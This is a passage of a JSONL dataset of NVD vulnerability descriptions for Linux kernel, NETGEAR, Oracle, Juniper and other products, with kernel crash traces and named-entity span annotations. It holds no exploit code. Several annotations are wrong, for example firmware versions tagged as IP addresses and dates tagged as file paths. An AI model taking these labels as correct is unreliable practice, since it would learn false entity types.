13437323\n[   97.418376] hardirqs last  enabled at (13437337): [<ffffffff8110bc0c>] console_unlock+0x11c/0x150\n[   97.421285] hardirqs last disabled at (13437370): [<ffffffff8110bbf1>] console_unlock+0x101/0x150\n[   97.423838] softirqs last  enabled at (13437366): [<ffffffff8108e17f>] handle_softirqs+0x23f/0x2a0\n[   97.426450] softirqs last disabled at (13437393): [<ffffffff8108e346>] __irq_exit_rcu+0x66/0xd0\n[   97.428850] ---[ end trace 0000000000000000 ]---\n\nAnd also, since we can not cleanup dynamic_event file, ftracetest are\nfailed too.\n\nTo avoid these issues, build these tests only as modules.", "spans": {"FILEPATH: /trace/trace_kprobe.c": [[633, 654]], "FILEPATH: /01/2014": [[908, 916]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[852, 856]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41004"}}
{"text": "Certain NETGEAR devices are affected by a stack-based buffer overflow by an authenticated user. This affects CBR750 before 3.2.18.2, D6220 before 1.0.0.68, D6400 before 1.0.0.102, D8500 before 1.0.3.60, LAX20 before 1.1.6.28, MK62 before 1.0.6.116, MR60 before 1.0.6.116, MS60 before 1.0.6.116, R6300v2 before 1.0.4.50, R6400 before 1.0.1.68, R6400v2 before 1.0.4.118, R6700v3 before 1.0.4.118, R6900P before 1.3.3.140, R7000 before 1.0.11.116, R7000P before 1.3.3.140, R7850 before 1.0.5.68, R7900 before 1.0.4.38, R7900P before 1.4.2.84, R7960P before 1.4.2.84, R8000 before 1.0.4.68, R8000P before 1.4.2.84, RAX15 before 1.0.3.96, RAX20 before 1.0.3.96, RAX200 before 1.0.4.120, RAX35v2 before 1.0.3.96, RAX40v2 before 1.0.3.96, RAX43 before 1.0.3.96, RAX45 before 1.0.3.96, RAX50 before 1.0.3.96, RAX75 before 1.0.4.120, RAX80 before 1.0.4.120, RBK752 before 3.2.17.12, RBK852 before 3.2.17.12, RBR750 before 3.2.17.12, RBR850 before 3.2.17.12, RBS750 before 3.2.17.12, RBS850 before 3.2.17.12, RS400 before 1.5.1.80, and XR1000 before 1.0.0.58.", "spans": {"IP_ADDRESS: 3.2.18.2": [[123, 131]], "IP_ADDRESS: 1.0.0.68": [[146, 154]], "IP_ADDRESS: 1.0.0.102": [[169, 178]], "IP_ADDRESS: 1.0.3.60": [[193, 201]], "IP_ADDRESS: 1.1.6.28": [[216, 224]], "IP_ADDRESS: 1.0.6.116": [[238, 247], [261, 270], [284, 293]], "IP_ADDRESS: 1.0.4.50": [[310, 318]], "IP_ADDRESS: 1.0.1.68": [[333, 341]], "IP_ADDRESS: 1.0.4.118": [[358, 367], [384, 393]], "IP_ADDRESS: 1.3.3.140": [[409, 418], [459, 468]], "IP_ADDRESS: 1.0.11.116": [[433, 443]], "IP_ADDRESS: 1.0.5.68": [[483, 491]], "IP_ADDRESS: 1.0.4.38": [[506, 514]], "IP_ADDRESS: 1.4.2.84": [[530, 538], [554, 562], [601, 609]], "IP_ADDRESS: 1.0.4.68": [[577, 585]], "IP_ADDRESS: 1.0.3.96": [[624, 632], [647, 655], [697, 705], [722, 730], [745, 753], [768, 776], [791, 799]], "IP_ADDRESS: 1.0.4.120": [[671, 680], [814, 823], [838, 847]], "IP_ADDRESS: 3.2.17.12": [[863, 872], [888, 897], [913, 922], [938, 947], [963, 972], [988, 997]], "IP_ADDRESS: 1.5.1.80": [[1012, 1020]], "IP_ADDRESS: 1.0.0.58": [[1040, 1048]], "VULNERABILITY: stack-based buffer overflow": [[42, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-45604"}}
{"text": "Tuleap is an open source suite to improve management of software developments and collaboration. In Tuleap Community Edition prior to version 14.11.99.28 and Tuleap Enterprise Edition prior to versions 14.10-6 and 14.11-3, the preview of an artifact link with a type does not respect the project, tracker and artifact level permissions. The issue occurs on the artifact view (not reproducible on the artifact modal). Users might get access to information they should not have access to. Only the title, status, assigned to and last update date fields as defined by the semantics are impacted. If those fields have strict permissions (e.g. the title is only visible to a specific user group) those permissions are still enforced. Tuleap Community Edition 14.11.99.28, Tuleap Enterprise Edition 14.10-6, and Tuleap Enterprise Edition 14.11-3 contain a fix for this issue.", "spans": {"IP_ADDRESS: 14.11.99.28": [[142, 153], [754, 765]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38508"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmem: Fix shift-out-of-bound (UBSAN) with byte size cells\n\nIf a cell has 'nbits' equal to a multiple of BITS_PER_BYTE the logic\n\n *p &= GENMASK((cell->nbits%BITS_PER_BYTE) - 1, 0);\n\nwill become undefined behavior because nbits modulo BITS_PER_BYTE is 0, and we\nsubtract one from that making a large number that is then shifted more than the\nnumber of bits that fit into an unsigned long.\n\nUBSAN reports this problem:\n\n UBSAN: shift-out-of-bounds in drivers/nvmem/core.c:1386:8\n shift exponent 64 is too large for 64-bit type 'unsigned long'\n CPU: 6 PID: 7 Comm: kworker/u16:0 Not tainted 5.15.0-rc3+ #9\n Hardware name: Google Lazor (rev3+) with KB Backlight (DT)\n Workqueue: events_unbound deferred_probe_work_func\n Call trace:\n  dump_backtrace+0x0/0x170\n  show_stack+0x24/0x30\n  dump_stack_lvl+0x64/0x7c\n  dump_stack+0x18/0x38\n  ubsan_epilogue+0x10/0x54\n  __ubsan_handle_shift_out_of_bounds+0x180/0x194\n  __nvmem_cell_read+0x1ec/0x21c\n  nvmem_cell_read+0x58/0x94\n  nvmem_cell_read_variable_common+0x4c/0xb0\n  nvmem_cell_read_variable_le_u32+0x40/0x100\n  a6xx_gpu_init+0x170/0x2f4\n  adreno_bind+0x174/0x284\n  component_bind_all+0xf0/0x264\n  msm_drm_bind+0x1d8/0x7a0\n  try_to_bring_up_master+0x164/0x1ac\n  __component_add+0xbc/0x13c\n  component_add+0x20/0x2c\n  dp_display_probe+0x340/0x384\n  platform_probe+0xc0/0x100\n  really_probe+0x110/0x304\n  __driver_probe_device+0xb8/0x120\n  driver_probe_device+0x4c/0xfc\n  __device_attach_driver+0xb0/0x128\n  bus_for_each_drv+0x90/0xdc\n  __device_attach+0xc8/0x174\n  device_initial_probe+0x20/0x2c\n  bus_probe_device+0x40/0xa4\n  deferred_probe_work_func+0x7c/0xb8\n  process_one_work+0x128/0x21c\n  process_scheduled_works+0x40/0x54\n  worker_thread+0x1ec/0x2a8\n  kthread+0x138/0x158\n  ret_from_fork+0x10/0x20\n\nFix it by making sure there are any bits to mask out.", "spans": {"FILEPATH: /nvmem/core.c": [[526, 539]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[689, 695]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47497"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS Base Score depend on the software that uses Outside In Technology. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [447, 453]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35656"}}
{"text": "Delayed TLS hostname verification in the Pulsar Java Client and the Pulsar Proxy make each client vulnerable to a man in the middle attack. Connections from the Pulsar Java Client to the Pulsar Broker/Proxy and connections from the Pulsar Proxy to the Pulsar Broker are vulnerable. Authentication data is sent before verifying the server’s TLS certificate matches the hostname, which means authentication data could be exposed to an attacker. An attacker can only take advantage of this vulnerability by taking control of a machine 'between' the client and the server. The attacker must then actively manipulate traffic to perform the attack by providing the client with a cryptographically valid certificate for an unrelated host. Because the client sends authentication data before performing hostname verification, an attacker could gain access to the client’s authentication data. The client eventually closes the connection when it verifies the hostname and identifies the targeted hostname does not match a hostname on the certificate. Because the client eventually closes the connection, the value of the intercepted authentication data depends on the authentication method used by the client. Token based authentication and username/password authentication methods are vulnerable because the authentication data can be used to impersonate the client in a separate session. This issue affects Apache Pulsar Java Client versions 2.7.0 to 2.7.4; 2.8.0 to 2.8.3; 2.9.0 to 2.9.2; 2.10.0; 2.6.4 and earlier.", "spans": {"SYSTEM: Apache Pulsar": [[1400, 1413]], "SYSTEM: Java": [[48, 52], [168, 172], [1414, 1418]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-33681"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/drv: Fix potential memory leak in drm_dev_init()\n\ndrm_dev_init() will add drm_dev_init_release() as a callback. When\ndrmm_add_action() failed, the release function won't be added. As the\nresult, the ref cnt added by device_get() in drm_dev_init() won't be put\nby drm_dev_init_release(), which leads to the memleak. Use\ndrmm_add_action_or_reset() instead of drmm_add_action() to prevent\nmemleak.\n\nunreferenced object 0xffff88810bc0c800 (size 2048):\n  comm \"modprobe\", pid 8322, jiffies 4305809845 (age 15.292s)\n  hex dump (first 32 bytes):\n    e8 cc c0 0b 81 88 ff ff ff ff ff ff 00 00 00 00  ................\n    20 24 3c 0c 81 88 ff ff 18 c8 c0 0b 81 88 ff ff   $<.............\n  backtrace:\n    [<000000007251f72d>] __kmalloc+0x4b/0x1c0\n    [<0000000045f21f26>] platform_device_alloc+0x2d/0xe0\n    [<000000004452a479>] platform_device_register_full+0x24/0x1c0\n    [<0000000089f4ea61>] 0xffffffffa0736051\n    [<00000000235b2441>] do_one_initcall+0x7a/0x380\n    [<0000000001a4a177>] do_init_module+0x5c/0x230\n    [<000000002bf8a8e2>] load_module+0x227d/0x2420\n    [<00000000637d6d0a>] __do_sys_finit_module+0xd5/0x140\n    [<00000000c99fc324>] do_syscall_64+0x3f/0x90\n    [<000000004d85aa77>] entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[92, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49830"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvdpa_sim: avoid putting an uninitialized iova_domain\n\nThe system will crash if we put an uninitialized iova_domain, this\ncould happen when an error occurs before initializing the iova_domain\nin vdpasim_create().\n\nBUG: kernel NULL pointer dereference, address: 0000000000000000\n...\nRIP: 0010:__cpuhp_state_remove_instance+0x96/0x1c0\n...\nCall Trace:\n <TASK>\n put_iova_domain+0x29/0x220\n vdpasim_free+0xd1/0x120 [vdpa_sim]\n vdpa_release_dev+0x21/0x40 [vdpa]\n device_release+0x33/0x90\n kobject_release+0x63/0x160\n vdpasim_create+0x127/0x2a0 [vdpa_sim]\n vdpasim_net_dev_add+0x7d/0xfe [vdpa_sim_net]\n vdpa_nl_cmd_dev_add_set_doit+0xe1/0x1a0 [vdpa]\n genl_family_rcv_msg_doit+0x112/0x140\n genl_rcv_msg+0xdf/0x1d0\n ...\n\nSo we must make sure the iova_domain is already initialized before\nput it.\n\nIn addition, we may get the following warning in this case:\nWARNING: ... drivers/iommu/iova.c:344 iova_cache_put+0x58/0x70\n\nSo we must make sure the iova_cache_put() is invoked only if the\niova_cache_get() is already invoked. Let's fix it together.", "spans": {"FILEPATH: /iommu/iova.c": [[936, 949]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[294, 318]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47554"}}
{"text": "Use of a Broken or Risky Cryptographic Algorithm vulnerability in Air Conditioning System G-150AD Ver. 3.21 and prior, Air Conditioning System AG-150A-A Ver. 3.21 and prior, Air Conditioning System AG-150A-J Ver. 3.21 and prior, Air Conditioning System GB-50AD Ver. 3.21 and prior, Air Conditioning System GB-50ADA-A Ver. 3.21 and prior, Air Conditioning System GB-50ADA-J Ver. 3.21 and prior, Air Conditioning System EB-50GU-A Ver. 7.10 and prior, Air Conditioning System EB-50GU-J Ver. 7.10 and prior, Air Conditioning System AE-200J Ver. 7.97 and prior, Air Conditioning System AE-200A Ver. 7.97 and prior, Air Conditioning System AE-200E Ver. 7.97 and prior, Air Conditioning System AE-50J Ver. 7.97 and prior, Air Conditioning System AE-50A Ver. 7.97 and prior, Air Conditioning System AE-50E Ver. 7.97 and prior, Air Conditioning System EW-50J Ver. 7.97 and prior, Air Conditioning System EW-50A Ver. 7.97 and prior, Air Conditioning System EW-50E Ver. 7.97 and prior, Air Conditioning System TE-200A Ver. 7.97 and prior, Air Conditioning System TE-50A Ver. 7.97 and prior and Air Conditioning System TW-50A Ver. 7.97 and prior allows a remote unauthenticated attacker to cause a disclosure of encrypted message of the air conditioning systems by sniffing encrypted communications.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24296"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS Base Score depend on the software that uses Outside In Technology. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [447, 453]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2453"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: Fix use-after-free in inet6_addr_del().\n\nsyzbot reported use-after-free of inet6_ifaddr in\ninet6_addr_del(). [0]\n\nThe cited commit accidentally moved ipv6_del_addr() for\nmngtmpaddr before reading its ifp->flags for temporary\naddresses in inet6_addr_del().\n\nLet's move ipv6_del_addr() down to fix the UAF.\n\n[0]:\nBUG: KASAN: slab-use-after-free in inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117\nRead of size 4 at addr ffff88807b89c86c by task syz.3.1618/9593\n\nCPU: 0 UID: 0 PID: 9593 Comm: syz.3.1618 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xcd/0x630 mm/kasan/report.c:482\n kasan_report+0xe0/0x110 mm/kasan/report.c:595\n inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117\n addrconf_del_ifaddr+0x11e/0x190 net/ipv6/addrconf.c:3181\n inet6_ioctl+0x1e5/0x2b0 net/ipv6/af_inet6.c:582\n sock_do_ioctl+0x118/0x280 net/socket.c:1254\n sock_ioctl+0x227/0x6b0 net/socket.c:1375\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f164cf8f749\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f164de64038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007f164d1e5fa0 RCX: 00007f164cf8f749\nRDX: 0000200000000000 RSI: 0000000000008936 RDI: 0000000000000003\nRBP: 00007f164d013f91 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007f164d1e6038 R14: 00007f164d1e5fa0 R15: 00007ffde15c8288\n </TASK>\n\nAllocated by task 9593:\n kasan_save_stack+0x33/0x60 mm/kasan/common.c:56\n kasan_save_track+0x14/0x30 mm/kasan/common.c:77\n poison_kmalloc_redzone mm/kasan/common.c:397 [inline]\n __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:414\n kmalloc_noprof include/linux/slab.h:957 [inline]\n kzalloc_noprof include/linux/slab.h:1094 [inline]\n ipv6_add_addr+0x4e3/0x2010 net/ipv6/addrconf.c:1120\n inet6_addr_add+0x256/0x9b0 net/ipv6/addrconf.c:3050\n addrconf_add_ifaddr+0x1fc/0x450 net/ipv6/addrconf.c:3160\n inet6_ioctl+0x103/0x2b0 net/ipv6/af_inet6.c:580\n sock_do_ioctl+0x118/0x280 net/socket.c:1254\n sock_ioctl+0x227/0x6b0 net/socket.c:1375\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFreed by task 6099:\n kasan_save_stack+0x33/0x60 mm/kasan/common.c:56\n kasan_save_track+0x14/0x30 mm/kasan/common.c:77\n kasan_save_free_info+0x3b/0x60 mm/kasan/generic.c:584\n poison_slab_object mm/kasan/common.c:252 [inline]\n __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:284\n kasan_slab_free include/linux/kasan.h:234 [inline]\n slab_free_hook mm/slub.c:2540 [inline]\n slab_free_freelist_hook mm/slub.c:2569 [inline]\n slab_free_bulk mm/slub.c:6696 [inline]\n kmem_cache_free_bulk mm/slub.c:7383 [inline]\n kmem_cache_free_bulk+0x2bf/0x680 mm/slub.c:7362\n kfree_bulk include/linux/slab.h:830 [inline]\n kvfree_rcu_bulk+0x1b7/0x1e0 mm/slab_common.c:1523\n kvfree_rcu_drain_ready mm/slab_common.c:1728 [inline]\n kfree_rcu_monitor+0x1d0/0x2f0 mm/slab_common.c:1801\n process_one_work+0x9ba/0x1b20 kernel/workqueue.c:3257\n process_scheduled_works kernel/workqu\n---truncated---", "spans": {"FILEPATH: /ipv6/addrconf.c": [[463, 479], [1027, 1043], [1085, 1101], [2550, 2566], [2603, 2619], [2661, 2677]], "FILEPATH: /25/2025": [[711, 719]], "FILEPATH: /kasan/report.c": [[861, 876], [917, 932], [964, 979]], "FILEPATH: /ipv6/af_inet6.c": [[1135, 1151], [2711, 2727]], "FILEPATH: /x86/entry/syscall_64.c": [[1421, 1444], [1487, 1510], [2997, 3020], [3063, 3086]], "FILEPATH: /kasan/common.c": [[2246, 2261], [2295, 2310], [2340, 2355], [2398, 2413], [3183, 3198], [3232, 3247], [3328, 3343], [3388, 3403]], "FILEPATH: /linux/slab.h": [[2441, 2454], [2491, 2504], [3703, 3716]], "FILEPATH: /kasan/generic.c": [[3285, 3301]], "FILEPATH: /linux/kasan.h": [[3432, 3446]], "FILEPATH: dump_stack.c": [[758, 770], [815, 827]], "FILEPATH: socket.c": [[1187, 1195], [1229, 1237], [2763, 2771], [2805, 2813]], "FILEPATH: ioctl.c": [[1257, 1264], [1296, 1303], [1336, 1343], [1389, 1396], [2833, 2840], [2872, 2879], [2912, 2919], [2965, 2972]], "FILEPATH: slub.c": [[3479, 3485], [3528, 3534], [3568, 3574], [3614, 3620], [3672, 3678]], "FILEPATH: slab_common.c": [[3762, 3775], [3808, 3821], [3870, 3883]], "FILEPATH: workqueue.c": [[3927, 3938]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[645, 651], [652, 658], [674, 680], [702, 708]], "VULNERABILITY: use-after-free": [[79, 93], [132, 146], [403, 417]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23010"}}
{"text": "On Juniper Networks EX2300 Series, receipt of a stream of specific multicast packets by the layer2 interface can cause high CPU load, which could lead to traffic interruption. This issue occurs when multicast packets are received by the layer 2 interface. To check if the device has high CPU load due to this issue, the administrator can issue the following command: user@host> show chassis routing-engine Routing Engine status: ... Idle 2 percent the \"Idle\" value shows as low (2 % in the example above), and also the following command: user@host> show system processes summary ... PID USERNAME PRI NICE SIZE RES STATE TIME WCPU COMMAND 11639 root 52 0 283M 11296K select 12:15 44.97% eventd 11803 root 81 0 719M 239M RUN 251:12 31.98% fxpc{fxpc} the eventd and the fxpc processes might use higher WCPU percentage (respectively 44.97% and 31.98% in the above example). This issue affects Juniper Networks Junos OS on EX2300 Series: 18.1 versions prior to 18.1R3-S11; 18.2 versions prior to 18.2R3-S5; 18.3 versions prior to 18.3R2-S4, 18.3R3-S3; 18.4 versions prior to 18.4R2-S5, 18.4R3-S4; 19.1 versions prior to 19.1R3-S2; 19.2 versions prior to 19.2R1-S5, 19.2R3; 19.3 versions prior to 19.3R2-S4, 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2-S1, 19.4R3; 20.1 versions prior to 20.1R1-S2, 20.1R2.", "spans": {"ORGANIZATION: Juniper": [[3, 10], [889, 896]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1668"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: correct handling of extreme memory squeeze\n\nTesting with iperf3 using the \"pasta\" protocol splicer has revealed\na problem in the way tcp handles window advertising in extreme memory\nsqueeze situations.\n\nUnder memory pressure, a socket endpoint may temporarily advertise\na zero-sized window, but this is not stored as part of the socket data.\nThe reasoning behind this is that it is considered a temporary setting\nwhich shouldn't influence any further calculations.\n\nHowever, if we happen to stall at an unfortunate value of the current\nwindow size, the algorithm selecting a new value will consistently fail\nto advertise a non-zero window once we have freed up enough memory.\nThis means that this side's notion of the current window size is\ndifferent from the one last advertised to the peer, causing the latter\nto not send any data to resolve the sitution.\n\nThe problem occurs on the iperf3 server side, and the socket in question\nis a completely regular socket with the default settings for the\nfedora40 kernel. We do not use SO_PEEK or SO_RCVBUF on the socket.\n\nThe following excerpt of a logging session, with own comments added,\nshows more in detail what is happening:\n\n//              tcp_v4_rcv(->)\n//                tcp_rcv_established(->)\n[5201<->39222]:     ==== Activating log @ net/ipv4/tcp_input.c/tcp_data_queue()/5257 ====\n[5201<->39222]:     tcp_data_queue(->)\n[5201<->39222]:        DROPPING skb [265600160..265665640], reason: SKB_DROP_REASON_PROTO_MEM\n                       [rcv_nxt 265600160, rcv_wnd 262144, snt_ack 265469200, win_now 131184]\n                       [copied_seq 259909392->260034360 (124968), unread 5565800, qlen 85, ofoq 0]\n                       [OFO queue: gap: 65480, len: 0]\n[5201<->39222]:     tcp_data_queue(<-)\n[5201<->39222]:     __tcp_transmit_skb(->)\n                        [tp->rcv_wup: 265469200, tp->rcv_wnd: 262144, tp->rcv_nxt 265600160]\n[5201<->39222]:       tcp_select_window(->)\n[5201<->39222]:         (inet_csk(sk)->icsk_ack.pending & ICSK_ACK_NOMEM) ? --> TRUE\n                        [tp->rcv_wup: 265469200, tp->rcv_wnd: 262144, tp->rcv_nxt 265600160]\n                        returning 0\n[5201<->39222]:       tcp_select_window(<-)\n[5201<->39222]:       ADVERTISING WIN 0, ACK_SEQ: 265600160\n[5201<->39222]:     [__tcp_transmit_skb(<-)\n[5201<->39222]:   tcp_rcv_established(<-)\n[5201<->39222]: tcp_v4_rcv(<-)\n\n// Receive queue is at 85 buffers and we are out of memory.\n// We drop the incoming buffer, although it is in sequence, and decide\n// to send an advertisement with a window of zero.\n// We don't update tp->rcv_wnd and tp->rcv_wup accordingly, which means\n// we unconditionally shrink the window.\n\n[5201<->39222]: tcp_recvmsg_locked(->)\n[5201<->39222]:   __tcp_cleanup_rbuf(->) tp->rcv_wup: 265469200, tp->rcv_wnd: 262144, tp->rcv_nxt 265600160\n[5201<->39222]:     [new_win = 0, win_now = 131184, 2 * win_now = 262368]\n[5201<->39222]:     [new_win >= (2 * win_now) ? --> time_to_ack = 0]\n[5201<->39222]:     NOT calling tcp_send_ack()\n                    [tp->rcv_wup: 265469200, tp->rcv_wnd: 262144, tp->rcv_nxt 265600160]\n[5201<->39222]:   __tcp_cleanup_rbuf(<-)\n                  [rcv_nxt 265600160, rcv_wnd 262144, snt_ack 265469200, win_now 131184]\n                  [copied_seq 260040464->260040464 (0), unread 5559696, qlen 85, ofoq 0]\n                  returning 6104 bytes\n[5201<->39222]: tcp_recvmsg_locked(<-)\n\n// After each read, the algorithm for calculating the new receive\n// window in __tcp_cleanup_rbuf() finds it is too small to advertise\n// or to update tp->rcv_wnd.\n// Meanwhile, the peer thinks the window is zero, and will not send\n// any more data to trigger an update from the interrupt mode side.\n\n[5201<->39222]: tcp_recvmsg_locked(->)\n[5201<->39222]:   __tcp_cleanup_rbuf(->) tp->rcv_wup: 265469200, tp->rcv_wnd: 262144, tp->rcv_nxt 265600160\n[5201<->39222]:     [new_win = 262144, win_now = 131184, 2 * win_n\n---truncated---", "spans": {"FILEPATH: /ipv4/tcp_input.c/tcp_data_queue": [[1367, 1399]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21710"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: appletb-kbd: fix memory corruption of input_handler_list\n\nIn appletb_kbd_probe an input handler is initialised and then registered\nwith input core through input_register_handler(). When this happens input\ncore will add the input handler (specifically its node) to the global\ninput_handler_list. The input_handler_list is central to the functionality\nof input core and is traversed in various places in input core. An example\nof this is when a new input device is plugged in and gets registered with\ninput core.\n\nThe input_handler in probe is allocated as device managed memory. If a\nprobe failure occurs after input_register_handler() the input_handler\nmemory is freed, yet it will remain in the input_handler_list. This\neffectively means the input_handler_list contains a dangling pointer\nto data belonging to a freed input handler.\n\nThis causes an issue when any other input device is plugged in - in my\ncase I had an old PixArt HP USB optical mouse and I decided to\nplug it in after a failure occurred after input_register_handler().\nThis lead to the registration of this input device via\ninput_register_device which involves traversing over every handler\nin the corrupted input_handler_list and calling input_attach_handler(),\ngiving each handler a chance to bind to newly registered device.\n\nThe core of this bug is a UAF which causes memory corruption of\ninput_handler_list and to fix it we must ensure the input handler is\nunregistered from input core, this is done through\ninput_unregister_handler().\n\n[   63.191597] ==================================================================\n[   63.192094] BUG: KASAN: slab-use-after-free in input_attach_handler.isra.0+0x1a9/0x1e0\n[   63.192094] Read of size 8 at addr ffff888105ea7c80 by task kworker/0:2/54\n[   63.192094]\n[   63.192094] CPU: 0 UID: 0 PID: 54 Comm: kworker/0:2 Not tainted 6.16.0-rc2-00321-g2aa6621d\n[   63.192094] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.164\n[   63.192094] Workqueue: usb_hub_wq hub_event\n[   63.192094] Call Trace:\n[   63.192094]  <TASK>\n[   63.192094]  dump_stack_lvl+0x53/0x70\n[   63.192094]  print_report+0xce/0x670\n[   63.192094]  kasan_report+0xce/0x100\n[   63.192094]  input_attach_handler.isra.0+0x1a9/0x1e0\n[   63.192094]  input_register_device+0x76c/0xd00\n[   63.192094]  hidinput_connect+0x686d/0xad60\n[   63.192094]  hid_connect+0xf20/0x1b10\n[   63.192094]  hid_hw_start+0x83/0x100\n[   63.192094]  hid_device_probe+0x2d1/0x680\n[   63.192094]  really_probe+0x1c3/0x690\n[   63.192094]  __driver_probe_device+0x247/0x300\n[   63.192094]  driver_probe_device+0x49/0x210\n[   63.192094]  __device_attach_driver+0x160/0x320\n[   63.192094]  bus_for_each_drv+0x10f/0x190\n[   63.192094]  __device_attach+0x18e/0x370\n[   63.192094]  bus_probe_device+0x123/0x170\n[   63.192094]  device_add+0xd4d/0x1460\n[   63.192094]  hid_add_device+0x30b/0x910\n[   63.192094]  usbhid_probe+0x920/0xe00\n[   63.192094]  usb_probe_interface+0x363/0x9a0\n[   63.192094]  really_probe+0x1c3/0x690\n[   63.192094]  __driver_probe_device+0x247/0x300\n[   63.192094]  driver_probe_device+0x49/0x210\n[   63.192094]  __device_attach_driver+0x160/0x320\n[   63.192094]  bus_for_each_drv+0x10f/0x190\n[   63.192094]  __device_attach+0x18e/0x370\n[   63.192094]  bus_probe_device+0x123/0x170\n[   63.192094]  device_add+0xd4d/0x1460\n[   63.192094]  usb_set_configuration+0xd14/0x1880\n[   63.192094]  usb_generic_driver_probe+0x78/0xb0\n[   63.192094]  usb_probe_device+0xaa/0x2e0\n[   63.192094]  really_probe+0x1c3/0x690\n[   63.192094]  __driver_probe_device+0x247/0x300\n[   63.192094]  driver_probe_device+0x49/0x210\n[   63.192094]  __device_attach_driver+0x160/0x320\n[   63.192094]  bus_for_each_drv+0x10f/0x190\n[   63.192094]  __device_attach+0x18e/0x370\n[   63.192094]  bus_probe_device+0x123/0x170\n[   63.192094]  device_add+0xd4d/0x1460\n[   63.192094]  usb_new_device+0x7b4/0x1000\n[   63.192094]  hub_event+0x234d/0x3\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1973, 1977]], "ORGANIZATION: HP": [[1005, 1007]], 